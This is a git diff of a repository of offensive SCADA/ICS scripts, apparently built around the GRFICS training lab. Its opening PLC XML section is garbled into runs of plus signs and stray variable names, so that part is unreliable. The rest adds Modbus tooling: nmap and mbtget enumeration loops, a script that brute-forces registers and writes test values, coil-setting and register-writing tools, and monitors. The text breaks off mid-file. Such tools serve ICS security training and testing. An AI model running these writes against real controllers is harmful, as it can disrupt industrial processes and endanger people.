+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import 